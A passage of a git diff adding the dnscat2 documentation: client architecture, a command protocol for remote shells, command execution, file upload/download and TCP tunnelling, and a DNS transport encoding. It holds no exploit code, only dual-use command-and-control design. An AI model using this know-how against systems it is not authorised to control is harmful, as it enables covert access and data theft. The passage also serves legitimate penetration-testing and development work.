tunnel_driver instance running. The +tunnel_driver is aware of the controller, but the controller isn't aware +of the tunnel_driver. + +### controller + +The controller is the go-between from the +[tunnel_driver](#tunnel_driver) to the [sessions](#session). It's +essentially a session manager - it creates, destroys, and can enumerate +sessions as needed. It's implemented in +[controller.c](/client/controller/controller.c) + +When data comes in to a tunnel_driver, it's decoded sent to the +controller. The controller parses it just enough to get the session_id +value from the header, then it finds the session that corresponds to +that id and sends the data to it for processing. If there's no such +session, an error is printed and it's ignored. + +For data being sent out, the controller polls each session and sends it +along to the tunnel_driver. + +The controller knows how to find and talk to sessions, but it doesn't know +anything about the tunnel_driver. + + +---------------+ + | tunnel_driver | (only 1) + +---------------+ + | + v + +------------+ + | controller | (only 1) + +------------+ + +### session + +Initially, a single session is created. That session, however, might +spawn other sessions. Sessions are identified with a 16-bit id value +that's also sent across the network. The session management code is +implemented in [session.c](/client/controller/session.c). + +Each session has a corresponding [driver](#drivers) (different from a +[tunnel_driver](#tunnel_driver)), which is how it interacts with the +real world (the console, an executable, etc). + +The session module is where the actual dnscat protocol (see +[protocol.md](protocol.md)) is parsed - the actual parsing is done in +[packet.c](/client/controller/packet.c). It's agnostic to both its back +end (a tunnel_driver) and its front end (just a driver). + +When data is received by the tunnel_driver, it's sent to the session via +the [controller](#controller). The packet received by the session is +parsed as a dnscat protocol packet, and it's fed into the session's +state machine. If everything is okay (a good seq/ack, the right type in +the right state, etc), the data portion of the packet, if any, is passed +up to the driver. If there's no data in the received packet, the driver +is still polled to see if any outgoing data is waiting. + +Whether or not the driver had data waiting, the session generates a new +packet in the dnscat protocol (with the proper session_id/seq/ack +values). That packet is returned to the session, then the controller, +then the tunnel_driver, where it's wrapped in a DNS Tunneling Protocol +packet and sent as a response. + +The session knows what driver it's using, but has no knowledge of other +sessions or the controller. + + +---------------+ + | tunnel_driver | (only 1) + +---------------+ + | + (has one) + | + v + +------------+ + | controller | (only 1) + +------------+ + | + (has one or more) + | + v + +---------+ + | session | (at least one) + +---------+ + +### drivers + +The final part of the structure is drivers, which are stored in drivers/. Each +session has exactly one driver. The driver defines how it interacts with the +outside world (or with the program itself). There are a few types of driver +already created: + +* [driver_console](/client/drivers/driver_console.c) - simply feeds the + program's stdin/stdout into the session. Not terribly useful outside + of testing. Only one / program is allowed, because stdin is a prude + (will only talk to one driver at a time). + +* [driver_exec](/client/drivers/driver_exec.c) - execute a process (like + cmd.exe) and attach the process's stdin / stdout to the session. + +* [driver_ping](/client/drivers/driver_ping.c) - this is a 'special' driver + that just handles dnscat2 pings (it simply echoes back what is sent) + +* [driver_command](/client/drivers/command/driver_command.c) - this driver has + its own command packets, which can be used to upload files, download + files, execute commands, etc - basically, it creates other drivers. + +It's pretty trivial to add more, from a programming perspective. But if +the connection is "special" (ie, the data isn't meant to be parsed by +humans, like driver_command, which has its own protocol), it's important +for the server to understand how to handle the connections (that is, the +if it's a command session, the server needs to show the user a menu and +wait for commands). That's done by using flags in the SYN packet. + +A driver meant for direct human consumption - like driver_exec, which +just runs a program and sends the output over the session, doesn't +require anything special. + +The driver runs in a vacuum - it doesn't know anything else about what +dnscat2 is up to. All it knows is that it's receiving data and getting +polled for its own data. Other than that, it's on its own. It doesn't +know about [sessions](#session) or [controllers](#controller) or +[tunnel_drivers](#tunnel_driver) or anything. + +That's the design, anyway, but it isn't a hard and fast rule. There are +some cases where a driver will want to create another session, for +example (which is done by driver_command). As a result, those have to +call functions in [controller](#controller), which breaks the +architecture a bit, but there isn't really an alternative. I used to use +some message passing strategy, but it was horrible. + + +---------------+ + | tunnel_driver | (only 1) + +---------------+ + | + (has one) + | + v + +------------+ + | controller | (only 1) + +------------+ + | + (has one or more) + | + v + +---------+ + | session | (at least one) + +---------+ + | + (has exactly one) + | + v + +--------+ + | driver | (exactly one / session) + +--------+ + +## Networking + +All networking is done using [libs/tcp.h](/client/libs/tcp.h), +[libs/udp.h](/client/libs/udp.h), and +[libs/select_group.h](/client/libs/select_group.h). Like all libraries that +dnscat2 uses, all three work and are tested on Windows, Linux, OS X, and +FreeBSD. + +The tcp and udp modules provide a simple interface to creating or +destroying IPv4 sockets without having to understand everything about +them. It also uses BSD sockets or Winsock, as appropriate. + +The select_group module provides a way to asynchronously handle socket +communication. Essentially, you can create as many sockets as you want +and add them to the select_group module with a callback for receiving +data or being closed (basically, a platform-independent wrapper around +`select`). Then the `main` function (or whatever) calls +`select_group_do_select` with a timeout value in an infinite loop. + +Each iteration of the loop, `select` is called, and any sockets that are +active have their appropriate callbacks called. From those callbacks, +the socket can be removed from the select_group (for example, if the +socket needs to be closed). + +stdin can also be read by select_group, meaning that special code isn't +required to handle stdin input. On Windows, a secondary thread is +automatically created to poll for activity; see the asynchronous code +section for info. + +## Asynchronous code + +There is as little threading as possible, and it should stay that way. +Every socket is put into `select` via the select_group library and when +the socket is active an appropriate callback is called by the +select_group module. + +As a result, packet-handling functions must be fast. A slow function +will slow down the handling of all other traffic, which isn't great. + +There is one place where threads are used, though: on Windows, it isn't +possible to put the stdin handle into `select`. So, transparently, the +select_group module will create a thread that basically just reads stdin +and shoves it into a pipe that can be selected on. You can find all the +code for this in [libs/select_group.h](/client/libs/select_group.h), and +this only affects Windows. + +## Memory management + +I use sorta weird memory-management techniques that came from a million +years ago when I wrote nbtool: all memory management +(malloc/free/realloc/strdup/etc) takes place in a module called memory, +which can be found in [libs/memory.h](/client/libs/memory.h). + +Basically, as a developer, all you need to know is to use `safe_malloc`, +`safe_free`, `safe_strdup`, and other `safe_*` functions defined in +libs/memory.h. + +The advantage of this is that in debug mode, these are added to a linked +list of all memory ever allocated. When it's freed, it's marked as such. +When the program terminates cleanly, a list of all currently allocated +memory (including the file and line number where it was allocated) are +displayed, giving a platform-independent way to find memory leaks. + +An additional advantage is that, for a small performance hit, the memory +being freed is zeroed out, which makes bugs somewhat easier to find and +stops user-after-free bugs from being exploitable. It will also detect +double-frees and abort automatically. + +## Parsing + +All parsing (and marshalling and most kinds of string-building) should +be done by the buffer module, found in [libs/buffer.h](/client/libs/buffer.h). + +The buffer module harkens back to Battle.net bot development, and is a +safe way to build and parse arbitrary binary strings. I've used more or +less the same code for 10+ years, with only minor changes (the only +major change has been moving to 64-bit lengths all around, and +occasionally adding a datatype). + +Essentially, you create a buffer with your chosen byte order (little +endian, big endian, network (aka, big endian) or host: + + buffer_t *buffer = buffer_create(BO_BIG_ENDIAN); + +Then you can add bytes, integers, null-terminated strings (ntstrings), +byte arrays, and other buffers to it: + + buffer_add_int8(buffer, 1); + buffer_add_ntstring(buffer, "hello"); + buffer_add_bytes(buffer, (uint8_t*)"hello", 5); + +When a buffer is ready to be sent, you can convert it to a byte string +and free it at the same time (you can also do these separately, but I +don't think I ever have): + + size_t length; + uint8_t *out = buffer_create_string_and_destroy(buffer, &length); + [...] + safe_free(out); + +You can also create a buffer containing data, such as data that's been +received from a socket: + + buffer_t *buffer = buffer_create_with_data(BO_BIG_ENDIAN, data, length); + +This makes a copy of data, so you can free it if necessary. Once it's +created you can read in values: + + uint8_t byte = buffer_read_next_int8(buffer); + uint16_t word = buffer_read_next_int16(buffer); + +You can also read from specific offsets: + + uint32_t dword = buffer_read_int32_at(buffer, 0); + uint64_t qword = buffer_read_int64_at(buffer, 10); + +You can also read an ntstring into a string you allocate: + + char str[128]; + buffer_read_next_ntstring(buffer, str, 128); + +Or you can allocate a string automatically: + + char *str = buffer_alloc_next_ntstring(buffer); + [...] + safe_free(str); + +You can also read at certain indices (buffer_read_int8_at(...), for +example). See [libs/buffer.h](/client/libs/buffer.h) for everything, with +documentation. + +Currently the error handling consists basically of aborting and printing +an error when attempting to read out of bounds. See below for more info +on error handling. + +(I'm planning on shoring up the error handling in a future release) + +## Error handling + +I'll just say it: the error handling on the client sucks right now. In +normal use everything's fine, but if you try messing with anything, any +abnormality causes an `abort`. + +Right now, the majority of error handling is done by the +[buffer](/client/libs/buffer.h) module. If there's anything wrong with +the protocol (dnscat, dns, etc.), it simply exits. + +That's clearly not a great situation for stable code. I plan to go +through and add better error handling in the future, but it's a +non-trivial operation. + + diff --git a/doc/command_protocol.md b/doc/command_protocol.md new file mode 100644 index 0000000..40e5b23 --- /dev/null +++ b/doc/command_protocol.md @@ -0,0 +1,265 @@ +# Introduction + +This document describes a sub-protocol that dnscat2 uses, the dnscat2 +command protocol. It's intended to be a simple command/response scheme +that delivers machine-readable commands to the client. + +It's used for most operations, including starting a shell, starting and +transferring data via a tunnel, and basically everything else. + +dnscat2 command packets are used behind-the-scenes for dnscat2 servers +and clients. It's not necessary to understand this protocol to use +dnscat2, this is a reference for myself (and other hackers who might get +involved). + +# License + +See LICENSE.md. + +# High-level + +When a client connects to a server, it can choose to use the command +protocol by setting `OPT_COMMAND` in the SYN packet, which is the +default when running the normal client. + +Because dnscat2 already has a client and server component, it is +confusing to refer to command-protocol actors as a client or a server, +so refer to them as 'requester' and 'responder' in this document. + +Both the dnscat2 client and server can initiate a request. Responses +have the first bit of `packed_id` set to identify them as such. + +A requester sends a dnscat2 command packet in one or more dnscat2 +packets. Multiple requests can be sent, one after the other, without +waiting for a response, but the requests can't be interleaved. Requests +can be identified "on the wire" because the first bit of the `packed_id` +field is 0; the first bit of responses is 1. + +The responder performs actions requested in the message, and responds, +optionally, using the same request_id the requester used. No more than +one response should be sent for a given request. Unexpected responses +should be ignored. + +Errors are indicated in the status field, by setting the status to a +non-zero value. Global errors (ie, errors that apply to every message +type) start with a 1 bit (0x8000 - 0xFFFF). Errors without the first bit +set are defined by the command itself. + +There is no time limit on how long a response should take, nor is there +a requirement to order responses in any particular way. + +# Structure + +This is the structure of a dnscat2 command packet (note: all fields are +network byte order / big endian / msb first): + +- (uint32_t) length (of the rest of the message) +- (uint16_t) packed_id +- (uint16_t) command_id +- (variable...) command fields + +The `length` field is the number of bytes coming in the rest of the +packet (that is, the length of the packet not including the length +itself). It's possible for a message to span one or more dnscat packets, +so it's important that the client can save the chunks it's received. + +The `packed_id` field is actually two separate values: the first bit is +`is_response`, and is set if and only if the packet is a response. The +remaining 15 bits are the `request_id`. + +The `request_id` field is echoed back by the responder. It should be +used to determine which request each response corresponds to. The value +should be different for each outbound packet (unless more than 32,767 +packets are sent; in that case it's okay to repeat). Incremental values +are best, but random is fine too. + +The `command_id` chooses which command to run. See the 'commands' +section below. A response can have a different `command_id` (most +commonly, a response can be an error packet). + +The remaining command fields are determined by the message type. + +# Commands + +## Standard commands + +The following standard commands are defined: + + #define COMMAND_PING (0x0000) + #define COMMAND_SHELL (0x0001) + #define COMMAND_EXEC (0x0002) + #define COMMAND_DOWNLOAD (0x0003) + #define COMMAND_UPLOAD (0x0004) + #define COMMAND_SHUTDOWN (0x0005) + #define COMMAND_DELAY (0x0006) + #define COMMAND_ERROR (0xFFFF) + +### COMMAND_PING + +server->client or client->server + +Structure (request): +- (ntstring) data + +Structure (response): +- (ntstring) data + +Asks the other party to echo back some data. Simply used for testing. + +### COMMAND_SHELL + +server->client only + +Structure (request): +- (ntstring) name + +Structure (response): +- (uint16_t) session_id + +Ask a dnscat2 client to spawn a shell. The shell will be connected back +to the dnscat2 server as if the client was run using `dnscat2 --exec sh` +or `dnscat2 --exec cmd`. + +### COMMAND_EXEC + +server->client only + +Structure (request): +- (ntstring) name +- (ntstring) command + +Structure (response): +- (uint16_t) session_id + +Ask a dnscat2 client to run the given command, and bind the input to a +new session. + +### COMMAND_DOWNLOAD + +server->client only + +Structure (request): +- (ntstring) filename + +Structure (response): +- (variable) data + +Ask a dnscat2 client to over the requested file. The data is the +remainder of the packet. + +If the file isn't found or accessible, a COMMAND_ERROR should be +returned. + +### COMMAND_UPLOAD + +server->client only + +Structure (request): +- (ntstring) fully qualified filename +- (variable) data + +Structure (response): +- n/a + +Send a file to the remote host. The filename can be fully qualified, or +the file will be uploaded to a path relative to the dnscat client's +location. Like COMMAND_DOWNLOAD, the data is the remainder of the packet. + +If the file can't be written, a COMMAND_ERROR is returned. Otherwise, +the response is simply blank, indicating success. + +### COMMAND_DELAY + +server->client only + +Structure (request): +- (uint32_t) delay + +Structure (response): +- n/a + +Request that the client changes the value of its session delay, i.e. +check-in with the server at a different frequency. The response is +simply blank, indicating success. + +### COMMAND_ERROR + +server->client or client->server, but always a response + +Structure (request): +- n/a - there's no request + +Structure (response): +- (uint16_t) status +- (ntstring) reason + +Errors are mostly free-form, and must be sent as a response to something +else. + +## Tunnel commands + +In addition to the standard commands, the following commands are used +for tunneling connections via dnscat2: + + #define TUNNEL_CONNECT (0x1000) + #define TUNNEL_DATA (0x1001) + #define TUNNEL_CLOSE (0x1002) + +From a high-level, the dnscat2 server sends the dnscat2 client a +`TUNNEL_CONNECT` message, which tells the client to connect to the given +host:port. If the connection is successful, it returns a +`TUNNEL_CONNECT` response with the `tunnel_id`. The `tunnel_id` is used +for the lifespan of the connection to identify it. + +If the `TUNNEL_CONNECT` fails, then a `COMMAND_ERROR` with an +appropriate message is returned. + +Once the connection is successful, `TUNNEL_DATA` can be sent in both +directions. There is no response, it's assumed that the `TUNNEL_DATA` +will make it across. + +If at any point the connection ends, then the dnscat2 client or dnscat2 +server can send a `TUNNEL_CLOSE` message to the other side. That message +also has no response. + +### TUNNEL_CONNECT + +server->client (for now) + +Structure (request): +- (uint32_t) options +- (ntstring) host +- (uint16_t) port + +Structure (response): +- (uint32_t) tunnel_id + +Asks the dnscat2 client to make a connection to another server. If it's +successful, the response contains the new `tunnel_id`. If the connection +fails, then a `COMMAND_ERROR` message is returned as the response. + +### TUNNEL_DATA + +server->client or client->server + +Structure (request): +- (uint32_t) tunnel_id +- (variable) data + +Structure (response): +- n/a - there's no response + +Can be sent in either direction for an active tunnel. Represents data +moving across it. + +### TUNNEL_CLOSE + +server->client (for now) + +Structure (request): +- (uint32_t) tunnel_id + +Structure (response): +- n/a - there's no response + +Can be sent by either side to indicate that the connection is over. diff --git a/doc/contributing.md b/doc/contributing.md new file mode 100644 index 0000000..0706a5e --- /dev/null +++ b/doc/contributing.md @@ -0,0 +1,84 @@ +# Introduction + +So, you want to contribute to dnscat2 but don't know where to start? +Well, this document will help give you some context on how to contribute +and how development happens. + +It also describes the layout and logic behind the dnscat2 codebase. +This is primarily intended for developers or perhaps security auditors, +and shouldn't be necessary for end users. + +This document complements other documents, such as +[protocol.md](protocol.md). + +# How do I contribute? + +Contributing is easy! I love getting code submitted from others! Send me +a pull request! + +To go into more details... + +If you're wondering how to help, check out the [issue +tracker](https://github.com/iagox86/dnscat2/issues). I try to keep that +up to date with the current bugs / requested features. Some of the +things on there are poorly described, because I write them for myself, +but if something catches your eye, feel free to request details! + +If you plan to develop something, be sure to take a look at the +[branches](https://github.com/iagox86/dnscat2/branches) to see if +there's currently a branch that's going to conflict with your changes +(especially in the early stages, I'm doing a lot of global refactoring, +so I can easily and unintentionally break your changes). + +Being that I (Ron / iagox86) am currently the only developer, there +isn't a mailing list or anything like that set up. However, you're +absolutely welcome to email me any questions you have - I'm very +responsive with email, and I respond to any and all emails that aren't, +for example, asking me to hack your wife. If a few days go by with no +response, feel free to email again with "friendly ping" or something :) + +Because it's just me, politics and coding style aren't a huge issue. +Please try to use the same coding style as the surrounding code to make +it easier to read. Also, comment and document generously! + +I think that's all you really need to know about contributing. The rest +of this document will be about design decisions and where to find +different pieces! + +# Architecture + +This section became too long to fit into a single doc, so I decided to +split out the documentation for the client and the server" + +* [Client architecture](client_architecture.md) +* [Server architecture](server_architecture.md) + +# Security + +As mentioned in the client error handling section, any bad data causes +the client to `abort`. That's obviously not ideal, but at least it's +safe. On the server, bad data is ignored - an exception is triggered and +the connection is closed, if it can't recover. + +Some other security concerns: + +* Man-in-the-middle: A man-in-the-middle attack is possible, and can + cause code execution on the client. This has no more defense against + tampering than TCP has. I may add some signing in the future. + +* Server: The server should be completely safe (ie, able to be run on + trusted infrastructure). The client can't execute code, download + files, or anything else that would negatively affect the server. + +* Server 'process': The server has a --process argument (and 'process' + setting) that hands any incoming data from clients (who, by + definition, aren't trusted) to the process. If an insecure process is + chosen (or a command shell, like '/bin/sh'), it can compromise the + server's security. Use --process with extreme caution! + +* Confidentiality: There is no confidentiality (all data is sent in + plaintext). I may add some crypto in the future. + +* Cloaking: From a network traffic perspective, it's exceedingly obvious that + it's dnscat. It's also possible to trick a dnscat2 server into revealing + itself (with a ping). There is no hiding. diff --git a/doc/how_to_bug_report.md b/doc/how_to_bug_report.md new file mode 100644 index 0000000..c62d474 --- /dev/null +++ b/doc/how_to_bug_report.md @@ -0,0 +1,113 @@ +Lately, dnscat2 has gotten enough use that I'm getting hard-to-reproduce +bug reports! That's great news for the project, but bad news for me as +the only developer. :) + +# Getting started + +If you're an expert and you don't mind taking the time out to +troubleshoot it, that's great! The info below will explain how to get +the best debug logs currently available. There are also a bunch of +documents in this folder about the client and server architecture. Try +[contributing.md](contributing.md), +[client_architecture.md](client_architecture.md), and +[server_architecture.md](server_architecture.md). +[protocol.md](protocol.md) might also come in handy! + +If you don't have the time or desire to troubleshoot yourself, that's +cool! Please file a bug on +[Github](https://github.com/iagox86/dnscat2/issues). If you email me, +I'll probably ask you to file it on github. + +If you aren't able to file the bug publicly, perhaps because of private +IP addresses, you can email me directly - ron-at-skullsecurity-dot-net. + +For most bugs, full client and server logs are super helpful. There's +information below on how to get them. If it's a network issue, then I'd +love to have a pcap, and it's a segmentation fault, I could use a +backtrace. All information on how to do that is below! + +The examples below disable encryption for easier troubleshooting. If the +problem goes away, or you suspect it's a problem with encryption, then +don't set `--security=open` on the server or `--no-encryption` on the +client! + +## Getting server logs... + +On the server, there are a few helpful options: + +* Log *everything* to stdout: `--firehose` +* Display detailed packet information: `--packet-trace` +* Temporarily allow unencrypted connections: `--security=open` +* Enable debug mode for ruby: `ruby -d [...]` + +Here's the command: + + # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] + +You can also redirect it into a file, though running commands might be +tricky: + + # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] 2>&1 | tee server-logfile.txt + +## Getting client logs... + +Basically, you want to create a debug build, then run it with the +following additional options: + +* Extra debug output: `-d` +* Display packet information: `--packet-trace` +* Disable encryption: `--no-encryption` + +Here are the commands: + + $ make clean debug + $ ./dnscat -d --packet-trace --no-encryption [other options] + +You can also redirect it into a file: + + $ ./dnscat -d --packet-trace --no-encryption [other options] 2>&1 | tee client-logfile.txt + +## Getting a pcap + +If your problem is with the real transport (like UDP) - typically, that +means if the server sees nothing or just errors - then a pcap is +helpful! + +You can run the command the same way as earlier, ensuring that the +server uses `--security=open` and the client uses `--no-encryption`, +then run a packet capture. + +I find it helpful to manually set a less-common but legit DNS server +manually, such as 4.2.2.5 or 8.8.4.4, then to filter on those: + + # tcpdump -s0 -w dnscat2-traffic.pcap host 4.2.2.5 + +That should generate dnscat2-traffic.pcap (depending on your OS, it +might be put somewhere weird; Gentoo runs tcpdump in a chroot +environment by default). + +## Segmentation faults + +If you have a reproduceable segmentation fault on the client, please try +to send me a corefile: + + $ ulimit -c unlimited + $ make clean debug + $ ./dnscat2 [options] + +That should generate some sort of corefile you can send me. + +If you're unable to get a corefile, or uncomfortable sharing one, then a +backtrace and registers at a minimum would be helpful: + + $ make clean debug + $ gdb --args ./dnscat2 [options] + +When the process crashes: + + (gdb) bt + [...] + (gdb) info reg + [...] + +And send along the information! diff --git a/doc/how_to_do_a_release.md b/doc/how_to_do_a_release.md new file mode 100644 index 0000000..c50430b --- /dev/null +++ b/doc/how_to_do_a_release.md @@ -0,0 +1,104 @@ +This document is written more for myself than for the community. But if +somebody else someday has to do a release (because, I dunno, I gave up +DNS for NetBIOS), this could be helpful. :) + +## Merge! + +If there's a branch to merge, simply run: + + git checkout master + git pull + git merge otherbranch + git push + +Super simple! + +## Make sure the version number and docs are up to date + +Both client/dnscat.c and server/dnscat2.rb contain a version number at +the top. Perhaps I should store it in a single place and include it +automatically, but at the moment it's not. + +Things in the tools/ directory also have their own independent version +numbers. They should be updated if and only if the tool itself was +updated in some way. + +Make sure other documentation is up to date, such as usage and output. + +And finally, make sure docs/changelog.md is up to date. + +## Make sure it compiles on all platforms + +Compile and give it a cursory test on all supported platforms: + +* Linux (32- and 64-bit) +* FreeBSD +* Mac OS X +* Windows (via Visual Studio) + +Be sure to compile in release mode, "make release", which enables +optimizations and disables some debug flags. + +On Windows, you will also need to set the build profile to "Release". + +It's especially important to make sure that Windows works, because +Visual Studio is so different from the rest of the platforms. + +## Compile and upload the distribution files + +Release versions on Linux can be compiled using: + + make release + +Source distros can be packaged using: + + make source_release + +It even zips them for you! They're put into the dist/ folder. + +Releases on other platforms (like Windows) require some manual work at +the moment. Please try to follow my naming scheme: + +* dnscat2-v0.04-client-source.tar.bz2 +* dnscat2-v0.04-client-source.zip +* dnscat2-v0.04-client-win32.zip +* dnscat2-v0.04-client-x64.tar.bz2 +* dnscat2-v0.04-client-x86.tar.bz2 +* dnscat2-v0.04-server.tar.bz2 +* dnscat2-v0.04-server.zip + +For binaries, the binaries in the archive should be simply "dnscat" - no +paths or anything like that. + +FWIW, I don't provide a zip of the client and server source together +because that's exactly just what you get on github. :) + +## Sign and upload the release files + +First, create signatures for all the files: + + rm *.sig; for i in *; do gpg --armor --detach-sig --output $i.sig $i; done + +Then upload them to https://downloads.skullsecurity.org/dnscat2/ + +## Create and push a signed tag: + +Create a signed tag with a comment like this one: + + git tag -s "v0.02" -m "Beta release 2" + +Then push it upstream: + + git push origin v0.02 + +Once that's done, to publish the release: + +* Add release notes on https://github.com/iagox86/dnscat2/tags +* Publish it on: https://github.com/iagox86/dnscat2/releases + +## In case you need to delete a tag + +If you screw up, which I always do, here's the process to delete a tag: + + git tag -d v0.02 + git push origin :refs/tags/v0.02 diff --git a/doc/protocol.md b/doc/protocol.md new file mode 100644 index 0000000..8a88b01 --- /dev/null +++ b/doc/protocol.md @@ -0,0 +1,827 @@ +# Introduction + +This document describes the dnscat2 protocol. + +I'm referring to this protocol as the dnscat2 protocol, although, +strictly speaking, it's not specific to dnscat or DNS in any way. +Basically, I needed a protocol that could track logical connections over +multiple lower-level connections/datagrams/whatever that aren't +necessarily reliable and where bandwidth is extremely limited. + +Because this is designed for dnscat, it is poll-based - that is, the +client sends a packet, and the server responds to it. The server can't +know where the client is or how to initiate a connection, so that's +taken into account. + +This protocol is datagram-based, has 16-bit session_id values that can +track the connection over multiple lower level connections, and handles +lower-level dropped/duplicated/out-of-order packets. + +Below, I give a few details on what's required to make this work, a +description of how connections work, some constants used in the +messages, and, finally, a breakdown of the messages themselves. + +# License + +See LICENSE.md. + +# Challenges + +DNS is a pretty challenging protocol to use! Some of the problems +include: + +* Every message requires a response of some sort +* Retransmissions and drops and out-of-order packets are extremely common +* DNS is restricted to alphanumeric characters, and isn't necessarily case sensitive + +Both the DNS Transport Protocol and the dnscat protocol itself are +designed with these in mind. Unlike other DNS-tunneling tools, I don't +rely on having a TCP layer taking care of the difficult parts - dnscat +is capable of doing a raw connection over DNS. + +# DNS Transport Protocol + +The dnscat protocol itself is, in spite of its name, protocol agnostic. +It can be used over any polling protocol, such as DNS, HTTP, ICMP/Ping, +etc, which I'll refer to as a Transport Protocol. Each of these +platforms will have to wrap the data a little differently, though, and +this section discusses how to use the DNS protocol as the transport +channel. + +## Encoding + +All data in both directions is transported in hex-encoded strings. +"AAA", for example, becomes "414141". + +Any periods in the domain name must be ignored. Therefore, "41.4141", +"414.141", and "414141" are exactly equivalent. + +Additionally, the protocol is not case sensitive, so "5b" and "5B" are +also equivalent. It's important for clients and servers to handle case +insensitivity, because [Fox0x01](https://github.com/Fox0x01) on github +[reported that](https://github.com/iagox86/dnscat2/pull/62#issuecomment-133471089) +some software [actively mangles](https://developers.google.com/speed/public-dns/docs/security?hl=en#randomize_case) +the case of requests! + +## Send / receive + +The client can choose whether to append a domain name (the user must +have the authoritative server for the domain name) or prepend a static +tag ("dnscat.") to the message. In other words, the message looks like +this: + + . + +or + + . + +Any data that's not in that form, or that's in an unsupported record +type, or that has an appended domain that's unknown to the dnscat +server, can either be discarded by the server or forwarded to an +upstream DNS server. The server may choose. + +The dnscat2 server must respond with a properly formatted DNS response +directly to the host that made the request, containing no error bit set +and one or more answers. If more than one answer is present, the first +byte of each answer must be a 1-byte sequence number (intermediate DNS +servers often rearrange the order of records). + +The record type of the response records should be the same as the record +type of the request. The precise way the answer is encoded depends on +the record type. + +## DNS Record type + +The dnscat server supports the most common DNS message types: `TXT`, `MX`, +`CNAME`, `A`, and `AAAA`. + +In all cases, the request is encoded as a DNS record, as discussed +above. + +The response, however, varies slightly. + +A `TXT` response is simply the hex-encoded data, with nothing else. In +theory, `TXT` records should be able to contain binary data, but +Windows' DNS client truncates `TXT` records at NUL bytes so the encoding +is necessary. + +A `CNAME` or `MX` record is encoded the same way as the request: either +with a tag prefix or a domain postfix. This is necessary because +intermediate DNS servers won't forward the traffic if it doesn't end +with the appropriate domain name. The `MX` record type also has an +additional field in DNS, the priority field, which can be set randomly +and should be ignored by the client. + +Finally, `A` and `AAAA` records, much like `TXT`, are simply the raw +data with no domain/tag added. However, there are two catches. First, +due to the short length of the answers (4 bytes for `A` and 16 bytes for +`AAAA`), multiple answers are required. Unfortunately, the DNS hierarchy +re-arranges answers, so each record must have a one-byte sequence number +prepended. The values don't matter, as long as they can be sorted to +obtain the original order. + +The second problem is, there's no clear way to get the length of the +response, because the response is, effectively in blocks. Therefore, the +length of the data itself, encoded as a signle byte, is preprended to +the message. If the data doesn't wind up being a multiple of the block +size, then it can be padded however the developer likes; the padding +must be ignored by the other side. + +An A response might look like: + + 0.9.. 1. 2. 3... + +Where the leading `0` is the sequence number of the block, the `9` is +the length, and the `2` and `3` are sequence numbers. + +## Errors + +If the server encounters and error (for example, an exception occurs or +a bad message is received), it can take a few actions depending on the +severity: + +* For errors that should be ignored (for example, a duplicate SYN packet is + received), it should return no dnscat2 data (a blank message; on TXT/A/AAAA, + it's literally no data returned; on CNAME/MX/NS, where the domain name is + mandatory, the domain name alone should be returned ("skullseclabs.org" for + example). +* For fatal errors (like an unhandled exception on the server), a FIN packet + with a descriptive message should be returned. + +# dnscat protocol + +Above, I defined the DNS Transport Protocol, which is how to send data +through DNS, Below is the actual dnscat protocol, which is what clients +and servers must talk. + +## Connections + +A "connection" is a logical session established between a client and a +server. A connection starts with a `SYN`, typically contains one of more +`MSG` packets, typically ends with a `FIN` (or with one party disappearing), +and has a unique 16-bit identifier called the `session_id`. Note that +`SYN`/`FIN` shouldn't be confused with the TCP equivalents - these are +purely a construct of dnscat. + +To summarize: A session is started by the client sending the server a +`SYN` packet and the server responding with a `SYN` packet. The client +sends MSG packets and the server responds with `MSG` packets. When the +client decides a connection is over, it sends a `FIN` packet to the +server and the server responds with a `FIN` packet. When the server +decides a connection is over, it responds to a `MSG` from the client +with a `FIN` and the client should no longer respond. + +A `flags` field is exchanged in the `SYN` packet. These flags affect the +entire session. + +Unexpected packets are ignored in most states. See below for specifics. + +Both the dnscat client and the dnscat client are expected to handle +multiple sessions; the dnscat client will often have multiple +simultaneous sessions open with the same server, whereas the server can +have multiple simultaneous connections with different clients. + +A good connection looks like this: + + +----------------+ + | Client Server | + +----------------+ + | SYN --> | | + | | v | + | | <-- SYN | + | v | | + | MSG --> | | + | | v | + | | <-- MSG | + | v | | + | MSG --> | | + | | v | + | | <-- MSG | + | ... ... | + | ... ... | + | ... ... | + | | | | + | v | | + | FIN --> | | + | v | + | <-- FIN | + +----------------+ + +If the server decides a connection is over, the server will return a FIN: + + +----------------+ + | Client Server | + +----------------+ + | SYN --> | | + | | v | + | | <-- SYN | + | v | | + | MSG --> | | + | | v | + | | <-- MSG | + | v | | + | MSG --> | | + | | v | + | | <-- FIN | + | v | + | (nil) | + +----------------+ + +If an unexpected MSG is received, the server will respond with an error (FIN): + + +----------------+ + | Client Server | + +----------------+ + | MSG --> | | + | | v | + | | <-- FIN | + | v | + | (nil) | + +----------------+ + +If an unexpected FIN is received, the server will ignore it: + + +----------------+ + | Client Server | + +----------------+ + | FIN --> | | + | v | + | (nil) | + +----------------+ + +## SEQ/ACK numbers + +`SEQ` (sequence) and `ACK` (acknowledgement) numbers are used similar to +the equivalent values in TCP. At the start of a connection, both the +client and server choose a random ISN (initial sequence number) and send +it to the other. + +The `SEQ` number of the client is the `ACK` number of the server, and +the `SEQ` number of the server is the `ACK` number of the client. That +means that both sides always know which byte offset to expect. + +Each side will send somewhere between 0 and an infinite number of bytes +to the other side during a session. As more data gets queued to be sent, +it's helpful to imagine that you're appending the bytes to send to the list +of all bytes ever sent. When a message is going out, the system should +look at its own sequence number and the byte queue to decide what to +send. If there are bytes waiting that haven't been acknowledged by the +peer, it should send as many of those bytes as it can along with its +current sequence number. + +When a message is received, the receiver must compare the sequence +number in the message with its own acknowledgement number. If it's +lower, that means that old data is being received and it must be +re-acknowledged (the `ACK` may have gotten lost, which caused the server +to re-send). If it's higher, the data can either be cached until it's +needed, or silently discarded (the peer may be sending multiple packets +at once for speed gains). If it's equal, the message can then be +processed. + +When a message is processed, the receiver increments its `ACK` by the +number of bytes in the packet, then responds with the new `ACK`, its +current `SEQ`, and any data that is waiting to be sent. + +When the sender sees the incremented `ACK`, it should increment its own +`SEQ` number (assuming the `ACK` value is sane; if it's not, it should +be silently discarded). Then it sends new data from the updated offset +(that is, the new `SEQ` value). + +You'll note that both sides are constantly acknowledging the other +side's data (by adding the length to the other side's `SEQ` number) +while sending out its own data and updating its own `SEQ` number (by +looking at the other side's `ACK` number). + +## Command protocol + +There's a secondary protocol that runs on top of the dnscat protocol +known as the "command protocol". If `OPT_COMMAND` is set in the SYN +header, then all messages are treated as command messages, and must +follow the command protocol. + +Full information about the command protocol and everything it does can +be found in [command_protocol.md](command_protocol.md)! + +## Tunneling + +As of December/2015, dnscat2 supports 